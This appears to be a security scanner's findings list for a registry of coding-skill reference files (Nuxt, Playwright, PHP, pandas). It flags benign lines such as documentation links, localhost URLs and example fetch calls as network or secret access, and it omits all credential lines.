- https://nuxt.com/docs/getting-started/configuration - Network accessline 261
- https://nuxt.com/docs/getting-started/upgrade - Network accessline 262
- https://nuxt.com/docs/guide/going-further/runtime-config - Network accessline 263
- https://nuxt.com/docs/api/nuxt-config - Network accessline 264
- https://nuxt.com/docs/guide/going-further/experimental-features
packages/autoskills/skills-registry/nuxt/references/core-data-fetching.md
- Network accessline 12
- `$fetch` - Basic fetch utility (use for client-side events) - `useFetch` - SSR-safe wrapper around $fetch (use for component data) - Network accessline 13
- `useFetch` - SSR-safe wrapper around $fetch (use for component data) - Network accessline 110
const { data } = await useAsyncData('cart', async () => { const [coupons, offers] = await Promise.all([ $fetch('/api/coupons'), - Network accessline 111
const [coupons, offers] = await Promise.all([ $fetch('/api/coupons'), $fetch('/api/offers'), - Network accessline 112
$fetch('/api/coupons'), - Network accessline 113
$fetch('/api/offers'), - Network accessline 125
// app/composables/useAPI.ts export const useAPI = createUseFetch({ baseURL: 'https://api.nuxt.com', - Network accessline 126
export const useAPI = createUseFetch({ baseURL: 'https://api.nuxt.com', // shared interceptors, headers, etc. - Network accessline 127
baseURL: 'https://api.nuxt.com', - Network accessline 138
const { data } = await useAPI('/modules') // Caller can still override any option const { data: other } = await useAPI('/modules', { baseURL: 'https://other.com' }) - Network accessline 139
// Caller can still override any option const { data: other } = await useAPI('/modules', { baseURL: 'https://other.com' }) </script> - Network accessline 140
const { data: other } = await useAPI('/modules', { baseURL: 'https://other.com' }) - Network accessline 150
// Function → options OVERRIDE caller's (enforce auth/baseURL) export const useAPI = createUseFetch(callerOptions => ({ baseURL: 'https://api.nuxt.com', // always enforced - Network accessline 151
export const useAPI = createUseFetch(callerOptions => ({ baseURL: 'https://api.nuxt.com', // always enforced })) - Network accessline 152
baseURL: 'https://api.nuxt.com', // always enforced - Network accessline 189
const todos = await $fetch('/api/todos') - Network accessline 196
await $fetch('/api/todos', { method: 'POST', body: { title: 42 } }) - Network accessline 226
<script setup lang="ts"> async function submitForm() { const result = await $fetch('/api/submit', { - Network accessline 227
async function submitForm() { const result = await $fetch('/api/submit', { method: 'POST', - Network accessline 228
const result = await $fetch('/api/submit', { - Network accessline 339
<script setup lang="ts"> const headers = useRequestHeaders(['cookie']) const data = await $fetch('/api/user', { headers }) - Network accessline 340
const headers = useRequestHeaders(['cookie']) const data = await $fetch('/api/user', { headers }) </script> - Network accessline 341
const data = await $fetch('/api/user', { headers }) - Network accessline 345
<!-- Source references: - https://nuxt.com/docs/getting-started/data-fetching - Network accessline 346
Source references: - https://nuxt.com/docs/getting-started/data-fetching - https://nuxt.com/docs/api/composables/use-fetch - Network accessline 347
- https://nuxt.com/docs/getting-started/data-fetching - https://nuxt.com/docs/api/composables/use-fetch - https://nuxt.com/docs/api/composables/use-async-data - Network accessline 348
- https://nuxt.com/docs/api/composables/use-fetch - Network accessline 349
- https://nuxt.com/docs/api/composables/use-async-data - https://nuxt.com/docs/api/composables/create-use-fetch - https://nuxt.com/docs/api/composables/create-use-async-data - Network accessline 350
- https://nuxt.com/docs/api/composables/create-use-fetch - Network accessline 351
- https://nuxt.com/docs/api/composables/create-use-async-data - Network accessline 352
- https://nuxt.com/docs/guide/recipes/custom-usefetch
packages/autoskills/skills-registry/nuxt/references/core-deployment.md
- Network accessline 8
Nuxt is platform-agnostic thanks to [Nitro](https://nitro.build), its server engine. You can deploy to almost any platform with minimal configuration—Node.js servers, static hosting, serverless functions, or edge networks. - Network accessline 10
> **Full list of supported platforms:** https://nitro.build/deploy - Network accessline 220
<!-- Source references: - https://nuxt.com/docs/getting-started/deployment - Network accessline 221
Source references: - https://nuxt.com/docs/getting-started/deployment - https://nitro.build/deploy - Network accessline 222
- https://nuxt.com/docs/getting-started/deployment - Network accessline 223
- https://nitro.build/deploy
packages/autoskills/skills-registry/nuxt/references/core-directory-structure.md
- Network accessline 303
<!-- Source references: - https://nuxt.com/docs/directory-structure - Network accessline 304
Source references: - https://nuxt.com/docs/directory-structure - https://nuxt.com/docs/directory-structure/app - Network accessline 305
- https://nuxt.com/docs/directory-structure - Network accessline 306
- https://nuxt.com/docs/directory-structure/app - Network accessline 307
- https://nuxt.com/docs/directory-structure/server - Network accessline 308
- https://nuxt.com/docs/directory-structure/shared - Network accessline 309
- https://nuxt.com/docs/guide/going-further/server-imports - Network accessline 310
- https://nuxt.com/docs/api/nuxt-config#alias
packages/autoskills/skills-registry/nuxt/references/core-modules.md
- Network accessline 287
<!-- Source references: - https://nuxt.com/docs/guide/modules - Network accessline 288
Source references: - https://nuxt.com/docs/guide/modules - https://nuxt.com/docs/guide/modules/module-anatomy - Network accessline 289
- https://nuxt.com/docs/guide/modules - Network accessline 290
- https://nuxt.com/docs/guide/modules/module-anatomy - Network accessline 291
- https://nuxt.com/docs/guide/modules/module-dependencies - Network accessline 292
- https://nuxt.com/docs/guide/modules/server-compatibility - Network accessline 293
- https://nuxt.com/docs/api/kit
packages/autoskills/skills-registry/nuxt/references/core-routing.md
- Network accessline 272
<!-- Source references: - https://nuxt.com/docs/getting-started/routing - Network accessline 273
Source references: - https://nuxt.com/docs/getting-started/routing - https://nuxt.com/docs/directory-structure/app/pages - Network accessline 274
- https://nuxt.com/docs/getting-started/routing - Network accessline 275
- https://nuxt.com/docs/directory-structure/app/pages - Network accessline 276
- https://nuxt.com/docs/directory-structure/app/middleware - Network accessline 277
- https://nuxt.com/docs/api/utils/define-page-meta - Network accessline 278
- https://nuxt.com/docs/getting-started/upgrade
packages/autoskills/skills-registry/nuxt/references/features-components-autoimport.md
- Network accessline 345
<!-- Source references: - https://nuxt.com/docs/directory-structure/app/components - Network accessline 346
Source references: - https://nuxt.com/docs/directory-structure/app/components - https://nuxt.com/docs/guide/concepts/auto-imports#auto-imported-components - Network accessline 347
- https://nuxt.com/docs/directory-structure/app/components - Network accessline 348
- https://nuxt.com/docs/guide/concepts/auto-imports#auto-imported-components
packages/autoskills/skills-registry/nuxt/references/features-components.md
- Network accessline 22
<!-- External link (opens in new tab) --> <NuxtLink to="https://nuxt.com" external>Nuxt</NuxtLink> - Network accessline 23
<NuxtLink to="https://nuxt.com" external>Nuxt</NuxtLink> - Network accessline 283
<!-- Source references: - https://nuxt.com/docs/4.x/api/components/nuxt-link - Network accessline 284
Source references: - https://nuxt.com/docs/4.x/api/components/nuxt-link - https://nuxt.com/docs/4.x/api/components/nuxt-page - Network accessline 285
- https://nuxt.com/docs/4.x/api/components/nuxt-link - Network accessline 286
- https://nuxt.com/docs/4.x/api/components/nuxt-page - Network accessline 287
- https://nuxt.com/docs/4.x/api/components/nuxt-layout - Network accessline 288
- https://nuxt.com/docs/4.x/api/components/client-only - Network accessline 289
- https://nuxt.com/docs/4.x/api/components/nuxt-announcer - Network accessline 290
- https://nuxt.com/docs/4.x/api/components/nuxt-island
packages/autoskills/skills-registry/nuxt/references/features-composables.md
- Network accessline 83
async function submit() { try { await $fetch('/api/contact', { method: 'POST', body: form }) - Network accessline 84
try { await $fetch('/api/contact', { method: 'POST', body: form }) polite('Message sent successfully') // waits for screen reader silence - Network accessline 85
await $fetch('/api/contact', { method: 'POST', body: form }) - Network accessline 116
async function login(credentials: Credentials) { user.value = await $fetch('/api/auth/login', { - Network accessline 117
user.value = await $fetch('/api/auth/login', { - Network accessline 123
async function logout() { await $fetch('/api/auth/logout', { method: 'POST' }) - Network accessline 124
await $fetch('/api/auth/logout', { method: 'POST' }) - Access to secretsline 210
[Credential-related source omitted] - Network accessline 317
<!-- Source references: - https://nuxt.com/docs/4.x/guide/concepts/auto-imports - Network accessline 318
Source references: - https://nuxt.com/docs/4.x/guide/concepts/auto-imports - https://nuxt.com/docs/4.x/directory-structure/app/composables - Network accessline 319
- https://nuxt.com/docs/4.x/guide/concepts/auto-imports - Network accessline 320
- https://nuxt.com/docs/4.x/directory-structure/app/composables - Network accessline 321
- https://nuxt.com/docs/4.x/directory-structure/app/utils - Network accessline 322
- https://nuxt.com/docs/4.x/directory-structure/shared - Network accessline 323
- https://nuxt.com/docs/4.x/api/composables/use-announcer
packages/autoskills/skills-registry/nuxt/references/features-server.md
- Network accessline 43
Access at `/api/hello`. Return typing flows automatically to `$fetch('/api/hello')`. - Network accessline 204
`readValidatedBody` / `getValidatedQuery` accept any [Standard Schema](https://standardschema.dev) (Zod, Valibot, ArkType). Validated shapes also type the matching `$fetch`/`useFetch` request: - Network accessline 336
<!-- Source references: - https://nuxt.com/docs/getting-started/server - Network accessline 337
Source references: - https://nuxt.com/docs/getting-started/server - https://nuxt.com/docs/directory-structure/server - Network accessline 338
- https://nuxt.com/docs/getting-started/server - Network accessline 339
- https://nuxt.com/docs/directory-structure/server - Network accessline 340
- https://nuxt.com/docs/guide/going-further/server-imports - Network accessline 341
- https://nuxt.com/docs/getting-started/upgrade#migration-to-nitro-v3 - Network accessline 342
- https://nitro.build/blog/v3-beta
packages/autoskills/skills-registry/nuxt/references/features-state.md
- Network accessline 60
await callOnce(async () => { config.value = await $fetch('/api/config') - Network accessline 61
config.value = await $fetch('/api/config') - Network accessline 125
async function login(credentials: Credentials) { user.value = await $fetch('/api/login', { - Network accessline 126
user.value = await $fetch('/api/login', { - Network accessline 191
<!-- Source references: - https://nuxt.com/docs/getting-started/state-management - Network accessline 192
Source references: - https://nuxt.com/docs/getting-started/state-management - https://nuxt.com/docs/api/composables/use-state - Network accessline 193
- https://nuxt.com/docs/getting-started/state-management - Network accessline 194
- https://nuxt.com/docs/api/composables/use-state - Network accessline 195
- https://nuxt.com/docs/api/utils/clear-nuxt-state
packages/autoskills/skills-registry/nuxt/references/rendering-modes.md
- Network accessline 242
<!-- Source references: - https://nuxt.com/docs/guide/concepts/rendering - Network accessline 243
Source references: - https://nuxt.com/docs/guide/concepts/rendering - https://nuxt.com/docs/getting-started/prerendering - Network accessline 244
- https://nuxt.com/docs/guide/concepts/rendering - Network accessline 245
- https://nuxt.com/docs/getting-started/prerendering - Network accessline 246
- https://nuxt.com/docs/api/nuxt-config#routerules
packages/autoskills/skills-registry/organization/SKILL.md
- Network accessline 46
name: "My Company", slug: "my-company", logo: "https://example.com/logo.png", - Network accessline 47
slug: "my-company", logo: "https://example.com/logo.png", metadata: { plan: "pro" }, - Network accessline 48
logo: "https://example.com/logo.png", - Network accessline 170
html: ` <p>${inviter.user.name} invited you to join ${organization.name}</p> <a href="https://yourapp.com/accept-invite?id=${invitation.id}"> - Network accessline 171
<p>${inviter.user.name} invited you to join ${organization.name}</p> <a href="https://yourapp.com/accept-invite?id=${invitation.id}"> Accept Invitation - Network accessline 172
<a href="https://yourapp.com/accept-invite?id=${invitation.id}"> - Network accessline 196
email: "newuser@example.com", role: "member", callbackURL: "https://yourapp.com/dashboard", - Network accessline 197
role: "member", callbackURL: "https://yourapp.com/dashboard", }); - Network accessline 198
callbackURL: "https://yourapp.com/dashboard", - Network accessline 462
to: data.email, subject: `Join ${data.organization.name}`, html: `<a href="https://app.com/invite/${data.invitation.id}">Accept</a>`, - Network accessline 463
subject: `Join ${data.organization.name}`, html: `<a href="https://app.com/invite/${data.invitation.id}">Accept</a>`, }); - Network accessline 464
html: `<a href="https://app.com/invite/${data.invitation.id}">Accept</a>`,
packages/autoskills/skills-registry/pandas-data-analysis/SKILL.md
- Network accessline 258
### Official Documentation - [Pandas Docs](https://pandas.pydata.org/docs/) - Official documentation - Network accessline 259
- [Pandas Docs](https://pandas.pydata.org/docs/) - Official documentation - Network accessline 260
- [NumPy Docs](https://numpy.org/doc/) - NumPy documentation - Network accessline 261
- [Matplotlib Docs](https://matplotlib.org/) - Plotting library - Network accessline 263
### Learning Platforms - [Kaggle](https://www.kaggle.com/learn/pandas) - Free Pandas course - Network accessline 264
- [Kaggle](https://www.kaggle.com/learn/pandas) - Free Pandas course - Network accessline 265
- [DataCamp](https://www.datacamp.com/courses/pandas-foundations) - Interactive courses - Network accessline 266
- [Python for Data Analysis](https://wesmckinney.com/book/) - Wes McKinney's book - Network accessline 268
### Tools - [Jupyter Notebook](https://jupyter.org/) - Interactive development - Network accessline 269
- [Jupyter Notebook](https://jupyter.org/) - Interactive development - Network accessline 270
- [Google Colab](https://colab.research.google.com/) - Cloud notebooks - Network accessline 271
- [Anaconda](https://www.anaconda.com/) - Data science distribution
packages/autoskills/skills-registry/pandas-data-analysis/scripts/helper.py
- Executable scriptline 1
#!/usr/bin/env python3
packages/autoskills/skills-registry/pandas-pro/SKILL.md
- Network accessline 4
license: MIT metadata: author: https://github.com/Jeffallan - Network accessline 5
metadata: author: https://github.com/Jeffallan company: https://synergetic.solutions - Network accessline 6
author: https://github.com/Jeffallan - Network accessline 7
company: https://synergetic.solutions - Network accessline 181
Maintained by [@jeffallan](https://github.com/jeffallan), Principal Consultant at [Synergetic Solutions](https://synergetic.solutions) - Network accessline 183
[Documentation](https://jeffallan.github.io/claude-skills/skills/data-ml/pandas-pro/)
packages/autoskills/skills-registry/pandas-pro/references/performance-optimization.md
packages/autoskills/skills-registry/php-pro/SKILL.md
- Network accessline 4
license: MIT metadata: author: https://github.com/Jeffallan - Network accessline 5
metadata: author: https://github.com/Jeffallan company: https://synergetic.solutions - Network accessline 6
author: https://github.com/Jeffallan - Network accessline 7
company: https://synergetic.solutions - Network accessline 209
Maintained by [@jeffallan](https://github.com/jeffallan), Principal Consultant at [Synergetic Solutions](https://synergetic.solutions) - Network accessline 211
[Documentation](https://jeffallan.github.io/claude-skills/skills/language/php-pro/)
packages/autoskills/skills-registry/php-pro/references/async-patterns.md
- Network accessline 23
$server->on('start', function (Server $server) { echo "Swoole HTTP server started at http://0.0.0.0:9501\n"; - Network accessline 24
echo "Swoole HTTP server started at http://0.0.0.0:9501\n"; - Network accessline 66
$urls = [ 'https://api.example.com/users', - Network accessline 67
'https://api.example.com/users', - Network accessline 68
'https://api.example.com/posts', - Network accessline 69
'https://api.example.com/comments', - Network accessline 202
echo "Server running at http://0.0.0.0:8080\n"; - Network accessline 340
// Usage $fiber1 = fetchData('https://api.example.com/users'); - Network accessline 341
$fiber1 = fetchData('https://api.example.com/users'); - Network accessline 342
$fiber2 = fetchData('https://api.example.com/posts');
packages/autoskills/skills-registry/php-pro/references/symfony-patterns.md
- Access to secretsline 62
[Credential-related source omitted]
packages/autoskills/skills-registry/php-pro/references/testing-quality.md
- Network accessline 411
<!-- phpunit.xml --> <?xml version="1.0" encoding="UTF-8"?> <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 412
<?xml version="1.0" encoding="UTF-8"?> <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="vendor/phpunit/phpunit/phpunit.xsd" - Network accessline 413
<phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
packages/autoskills/skills-registry/playwright-best-practices/advanced/authentication-flows.md
- Network accessline 27
await page.route('**/api/auth/register', async (route) => { const response = await route.fetch(); - Network accessline 28
const response = await route.fetch(); - Network accessline 94
await page.route('**/api/auth/forgot-password', async (route) => { const response = await route.fetch(); - Network accessline 95
const response = await route.fetch();
packages/autoskills/skills-registry/playwright-best-practices/advanced/authentication.md
- Network accessline 57
await page.goto("http://localhost:4000/login"); - Network accessline 74
export default defineConfig({ use: { baseURL: "http://localhost:4000", - Network accessline 75
use: { baseURL: "http://localhost:4000", storageState: ".auth/session.json", - Network accessline 76
baseURL: "http://localhost:4000", - Network accessline 125
globalSetup: require.resolve("./global-setup"), use: { baseURL: "http://localhost:4000", - Network accessline 126
use: { baseURL: "http://localhost:4000", storageState: ".auth/session.json", - Network accessline 127
baseURL: "http://localhost:4000", - Network accessline 352
1. User clicks "Sign in with Provider" → browser navigates to `https://accounts.provider.com/authorize?...` - Network accessline 353
2. User authenticates on the provider's page → provider redirects back to your app's **callback route** (e.g. `http://localhost:4000/auth/callback?code=ABC&state=XYZ`) - Network accessline 364
test("login via mocked OAuth flow", async ({ page }) => { await page.route("https://accounts.provider.com/**", async (route) => { - Network accessline 365
await page.route("https://accounts.provider.com/**", async (route) => { - Network accessline 366
const callbackUrl = new URL("http://localhost:4000/auth/callback"); - Access to secretsline 443
[Credential-related source omitted] - Network accessline 650
authenticatedPage: async ({ browser, playwright }, use) => { const apiContext = await playwright.request.newContext({ baseURL: "http://localhost:4000", - Network accessline 651
const apiContext = await playwright.request.newContext({ baseURL: "http://localhost:4000", }); - Network accessline 652
baseURL: "http://localhost:4000", - Access to secretsline 815
[Credential-related source omitted] - Access to secretsline 817
[Credential-related source omitted]
packages/autoskills/skills-registry/playwright-best-practices/advanced/multi-context.md
- Access to secretsline 183
[Credential-related source omitted]
packages/autoskills/skills-registry/playwright-best-practices/advanced/network-advanced.md
- Network accessline 62
await page.route("**/api/products", async (route) => { // Fetch real response const response = await route.fetch(); - Network accessline 63
// Fetch real response const response = await route.fetch(); const json = await response.json(); - Network accessline 64
const response = await route.fetch();
packages/autoskills/skills-registry/playwright-best-practices/advanced/third-party.md
- Network accessline 326
// Poll Mailinator API for new email const response = await request.get( `https://api.mailinator.com/v2/domains/public/inboxes/${inbox}`, - Network accessline 327
const response = await request.get( `https://api.mailinator.com/v2/domains/public/inboxes/${inbox}`, { - Network accessline 328
`https://api.mailinator.com/v2/domains/public/inboxes/${inbox}`, - Access to secretsline 331
[Credential-related source omitted] - Network accessline 339
// Get full message const msgResponse = await request.get( `https://api.mailinator.com/v2/domains/public/inboxes/${inbox}/messages/${latest.id}`, - Network accessline 340
const msgResponse = await request.get( `https://api.mailinator.com/v2/domains/public/inboxes/${inbox}/messages/${latest.id}`, { - Network accessline 341
`https://api.mailinator.com/v2/domains/public/inboxes/${inbox}/messages/${latest.id}`, - Access to secretsline 344
[Credential-related source omitted] - Network accessline 429
(window as any).analytics = { track: (event: string, props: any) => { fetch("/api/analytics/track", { - Network accessline 430
track: (event: string, props: any) => { fetch("/api/analytics/track", { method: "POST", - Network accessline 431
fetch("/api/analytics/track", {
packages/autoskills/skills-registry/playwright-best-practices/architecture/test-architecture.md
- Access to secretsline 50
[Credential-related source omitted]
packages/autoskills/skills-registry/playwright-best-practices/architecture/when-to-mock.md
- Network accessline 114
test('display low inventory warning', async ({ page }) => { await page.route('**/api/inventory/*', async (route) => { const response = await route.fetch(); - Network accessline 115
await page.route('**/api/inventory/*', async (route) => { const response = await route.fetch(); const data = await response.json(); - Network accessline 116
const response = await route.fetch(); - Network accessline 132
test('inject test notification into real response', async ({ page }) => { await page.route('**/api/alerts', async (route) => { const response = await route.fetch(); - Network accessline 133
await page.route('**/api/alerts', async (route) => { const response = await route.fetch(); const data = await response.json(); - Network accessline 134
const response = await route.fetch(); - Network accessline 201
webServer: { command: 'npm run dev', url: 'http://localhost:3000', - Network accessline 202
command: 'npm run dev', url: 'http://localhost:3000', reuseExistingServer: !process.env.CI, - Network accessline 203
url: 'http://localhost:3000', - Network accessline 206
}, use: { baseURL: 'http://localhost:3000', - Network accessline 207
use: { baseURL: 'http://localhost:3000', }, - Network accessline 208
baseURL: 'http://localhost:3000', - Network accessline 218
use: { baseURL: process.env.CI ? 'https://staging.example.com' - Network accessline 219
baseURL: process.env.CI ? 'https://staging.example.com' : 'http://localhost:3000', - Network accessline 220
? 'https://staging.example.com' - Network accessline 221
: 'http://localhost:3000', - Network accessline 231
webServer: { command: 'docker compose -f docker-compose.test.yml up --wait', url: 'http://localhost:3000/health', - Network accessline 232
command: 'docker compose -f docker-compose.test.yml up --wait', url: 'http://localhost:3000/health', reuseExistingServer: !process.env.CI, - Network accessline 233
url: 'http://localhost:3000/health', - Network accessline 333
name: 'ci-fast', testMatch: '**/*.spec.ts', use: { baseURL: 'http://localhost:3000' }, - Network accessline 334
testMatch: '**/*.spec.ts', use: { baseURL: 'http://localhost:3000' }, }, - Network accessline 335
use: { baseURL: 'http://localhost:3000' }, - Network accessline 338
name: 'nightly-full', testMatch: '**/*.integration.spec.ts', use: { baseURL: 'https://staging.example.com' }, - Network accessline 339
testMatch: '**/*.integration.spec.ts', use: { baseURL: 'https://staging.example.com' }, timeout: 120_000, - Network accessline 340
use: { baseURL: 'https://staging.example.com' },
packages/autoskills/skills-registry/playwright-best-practices/browser-apis/browser-apis.md
- Network accessline 190
expect(clipboardContent).toContain("https://example.com/share/");
packages/autoskills/skills-registry/playwright-best-practices/browser-apis/iframes.md
- Network accessline 40
const frame = page.frame({ name: "my-frame" }); if (frame) { await frame.goto("https://example.com"); - Network accessline 41
if (frame) { await frame.goto("https://example.com"); const title = await frame.title(); - Network accessline 42
await frame.goto("https://example.com"); - Network accessline 245
// Navigate within iframe await frame.goto("https://embedded-app.com/page2"); - Network accessline 246
await frame.goto("https://embedded-app.com/page2");
packages/autoskills/skills-registry/playwright-best-practices/browser-apis/service-workers.md
packages/autoskills/skills-registry/playwright-best-practices/core/configuration.md
- Access to secretsline 76
[Credential-related source omitted] - Network accessline 94
use: { baseURL: process.env.BASE_URL || 'http://localhost:4000', - Network accessline 95
baseURL: process.env.BASE_URL || 'http://localhost:4000', - Network accessline 113
webServer: { command: 'npm run start', url: 'http://localhost:4000', - Network accessline 114
command: 'npm run start', url: 'http://localhost:4000', reuseExistingServer: !process.env.CI, - Network accessline 115
url: 'http://localhost:4000', - Network accessline 139
const envConfig: Record<string, { baseURL: string; retries: number }> = { local: { baseURL: 'http://localhost:4000', retries: 0 }, - Network accessline 140
local: { baseURL: 'http://localhost:4000', retries: 0 }, - Network accessline 141
staging: { baseURL: 'https://staging.myapp.com', retries: 2 }, - Network accessline 142
prod: { baseURL: 'https://myapp.com', retries: 2 }, - Network accessline 216
export default defineConfig({ testDir: './e2e', use: { baseURL: 'http://localhost:4000' }, - Network accessline 217
testDir: './e2e', use: { baseURL: 'http://localhost:4000' }, webServer: { - Network accessline 218
use: { baseURL: 'http://localhost:4000' }, - Network accessline 221
? 'npm run build && npm run preview' : 'npm run dev', url: 'http://localhost:4000', - Network accessline 222
: 'npm run dev', url: 'http://localhost:4000', reuseExistingServer: !process.env.CI, - Network accessline 223
url: 'http://localhost:4000', - Access to secretsline 270
[Credential-related source omitted] - Network accessline 275
# .env.example (commit this) BASE_URL=http://localhost:4000 - Network accessline 276
BASE_URL=http://localhost:4000 - Access to secretsline 278
[Credential-related source omitted] - Network accessline 280
# .env.local (gitignored) BASE_URL=http://localhost:4000 - Network accessline 281
BASE_URL=http://localhost:4000 - Access to secretsline 283
[Credential-related source omitted] - Network accessline 285
# .env.staging (gitignored) BASE_URL=https://staging.myapp.com - Network accessline 286
BASE_URL=https://staging.myapp.com - Access to secretsline 288
[Credential-related source omitted] - Access to secretsline 293
[Credential-related source omitted] - Network accessline 382
|-------|---------|------------| | `timeout: 300_000` globally | Masks flaky tests; slow CI | Fix root cause; keep 30s default | | Hardcoded URLs: `page.goto('http://localhost:4000/login')` | Breaks in other environments | Use `baseURL` + r - Network accessline 383
| `timeout: 300_000` globally | Masks flaky tests; slow CI | Fix root cause; keep 30s default | | Hardcoded URLs: `page.goto('http://localhost:4000/login')` | Breaks in other environments | Use `baseURL` + relative paths | | All browsers on - Network accessline 384
| Hardcoded URLs: `page.goto('http://localhost:4000/login')` | Breaks in other environments | Use `baseURL` + relative paths | - Network accessline 401
// Wrong - ignores baseURL await page.goto('http://localhost:4000/dashboard'); - Network accessline 402
await page.goto('http://localhost:4000/dashboard'); - Network accessline 413
webServer: { command: 'npm run dev', url: 'http://localhost:4000/api/health', // use real endpoint - Network accessline 414
command: 'npm run dev', url: 'http://localhost:4000/api/health', // use real endpoint reuseExistingServer: !process.env.CI, - Network accessline 415
url: 'http://localhost:4000/api/health', // use real endpoint
packages/autoskills/skills-registry/playwright-best-practices/core/fixtures-hooks.md
- Access to secretsline 19
[Credential-related source omitted]
packages/autoskills/skills-registry/playwright-best-practices/core/global-setup.md
- Network accessline 220
// Wait for server to be ready await waitForServer("http://localhost:3000/health", 30000); - Network accessline 221
await waitForServer("http://localhost:3000/health", 30000); - Network accessline 230
while (Date.now() - start < timeout) { try { const response = await fetch(url); - Network accessline 231
try { const response = await fetch(url); if (response.ok) return; - Network accessline 232
const response = await fetch(url); - Access to secretsline 296
[Credential-related source omitted]
packages/autoskills/skills-registry/playwright-best-practices/core/projects-dependencies.md
- Network accessline 44
name: "staging", use: { baseURL: "https://staging.example.com", - Network accessline 45
use: { baseURL: "https://staging.example.com", }, - Network accessline 46
baseURL: "https://staging.example.com", - Network accessline 50
name: "production", use: { baseURL: "https://example.com", - Network accessline 51
use: { baseURL: "https://example.com", }, - Network accessline 52
baseURL: "https://example.com", - Network accessline 56
name: "local", use: { baseURL: "http://localhost:3000", - Network accessline 57
use: { baseURL: "http://localhost:3000", }, - Network accessline 58
baseURL: "http://localhost:3000", - Network accessline 76
name: "api", testDir: "./tests/api", use: { baseURL: "http://localhost:3000" }, - Network accessline 77
testDir: "./tests/api", use: { baseURL: "http://localhost:3000" }, }, - Network accessline 78
use: { baseURL: "http://localhost:3000" },
packages/autoskills/skills-registry/playwright-best-practices/core/test-suite-structure.md
- Network accessline 33
reporter: [["html"], ["list"]], use: { baseURL: "http://localhost:3000", - Network accessline 34
use: { baseURL: "http://localhost:3000", trace: "on-first-retry", - Network accessline 35
baseURL: "http://localhost:3000", - Network accessline 47
webServer: { command: "npm run dev", url: "http://localhost:3000", - Network accessline 48
command: "npm run dev", url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 49
url: "http://localhost:3000",
packages/autoskills/skills-registry/playwright-best-practices/debugging/debugging.md
- Network accessline 155
page.on("request", (req) => requests.push(`>> ${req.method()} ${req.url()}`)); - Network accessline 156
page.on("requestfinished", (req) => { const resp = req.response(); requests.push(`<< ${resp?.status()} ${req.url()}`); - Network accessline 157
const resp = req.response(); requests.push(`<< ${resp?.status()} ${req.url()}`); }); - Network accessline 158
requests.push(`<< ${resp?.status()} ${req.url()}`);
packages/autoskills/skills-registry/playwright-best-practices/frameworks/angular.md
- Network accessline 38
use: { baseURL: 'http://localhost:4200', - Network accessline 39
baseURL: 'http://localhost:4200', - Network accessline 52
? 'npx ng build && npx http-server dist/my-app/browser -p 4200 -s' : 'npx ng serve', url: 'http://localhost:4200', - Network accessline 53
: 'npx ng serve', url: 'http://localhost:4200', reuseExistingServer: !process.env.CI, - Network accessline 54
url: 'http://localhost:4200', - Network accessline 452
? 'npx ng build --ssr && node dist/my-app/server/server.mjs' : 'npx ng serve --ssr', url: 'http://localhost:4200', - Network accessline 453
: 'npx ng serve --ssr', url: 'http://localhost:4200', reuseExistingServer: !process.env.CI, - Network accessline 454
url: 'http://localhost:4200',
packages/autoskills/skills-registry/playwright-best-practices/frameworks/nextjs.md
- Network accessline 36
use: { baseURL: 'http://localhost:3000', - Network accessline 37
baseURL: 'http://localhost:3000', - Network accessline 49
? 'npm run build && npm run start' : 'npm run dev', url: 'http://localhost:3000', - Network accessline 50
: 'npm run dev', url: 'http://localhost:3000', reuseExistingServer: !process.env.CI, - Network accessline 51
url: 'http://localhost:3000', - Network accessline 66
# .env.test (commit this) NEXT_PUBLIC_API_URL=http://localhost:3000/api - Network accessline 67
NEXT_PUBLIC_API_URL=http://localhost:3000/api - Network accessline 428
? 'npm run build && npm run start' : 'npx next dev --turbopack', url: 'http://localhost:3000', - Network accessline 429
: 'npx next dev --turbopack', url: 'http://localhost:3000', reuseExistingServer: !process.env.CI, - Network accessline 430
url: 'http://localhost:3000', - Network accessline 439
{ command: 'npm run dev:api', url: 'http://localhost:4000/health', - Network accessline 440
command: 'npm run dev:api', url: 'http://localhost:4000/health', reuseExistingServer: !process.env.CI, - Network accessline 441
url: 'http://localhost:4000/health', - Network accessline 444
{ command: 'npm run dev', url: 'http://localhost:3000', - Network accessline 445
command: 'npm run dev', url: 'http://localhost:3000', reuseExistingServer: !process.env.CI, - Network accessline 446
url: 'http://localhost:3000', - Network accessline 457
| Test `getServerSideProps` directly | Depends on req/res context | Navigate to page and verify rendered output | | Mock your own API routes | Hides real API bugs | Let real API handle requests; mock only external services | | `page.goto('h - Network accessline 458
| Mock your own API routes | Hides real API bugs | Let real API handle requests; mock only external services | | `page.goto('http://localhost:3000/path')` | Breaks when port changes | Use `page.goto('/path')` with `baseURL` | | Run `npm run - Network accessline 459
| `page.goto('http://localhost:3000/path')` | Breaks when port changes | Use `page.goto('/path')` with `baseURL` |
packages/autoskills/skills-registry/playwright-best-practices/frameworks/react.md
- Network accessline 441
use: { baseURL: 'http://localhost:5173', - Network accessline 442
baseURL: 'http://localhost:5173', - Network accessline 453
webServer: { command: process.env.CI ? 'npm run build && npx vite preview --port 5173' : 'npm run dev', url: 'http://localhost:5173', - Network accessline 454
command: process.env.CI ? 'npm run build && npx vite preview --port 5173' : 'npm run dev', url: 'http://localhost:5173', reuseExistingServer: !process.env.CI, - Network accessline 455
url: 'http://localhost:5173',
packages/autoskills/skills-registry/playwright-best-practices/frameworks/vue.md
- Network accessline 41
use: { baseURL: 'http://localhost:5173', - Network accessline 42
baseURL: 'http://localhost:5173', - Network accessline 55
? 'npm run build && npx vite preview --port 5173' : 'npm run dev', url: 'http://localhost:5173', - Network accessline 56
: 'npm run dev', url: 'http://localhost:5173', reuseExistingServer: !process.env.CI, - Network accessline 57
url: 'http://localhost:5173', - Network accessline 79
use: { baseURL: 'http://localhost:3000', - Network accessline 80
baseURL: 'http://localhost:3000', - Network accessline 91
? 'npx nuxi build && npx nuxi preview' : 'npx nuxi dev', url: 'http://localhost:3000', - Network accessline 92
: 'npx nuxi dev', url: 'http://localhost:3000', reuseExistingServer: !process.env.CI, - Network accessline 93
url: 'http://localhost:3000', - Network accessline 95
timeout: 120_000, env: { NUXT_PUBLIC_API_BASE: 'http://localhost:3000/api', - Network accessline 96
env: { NUXT_PUBLIC_API_BASE: 'http://localhost:3000/api', }, - Network accessline 97
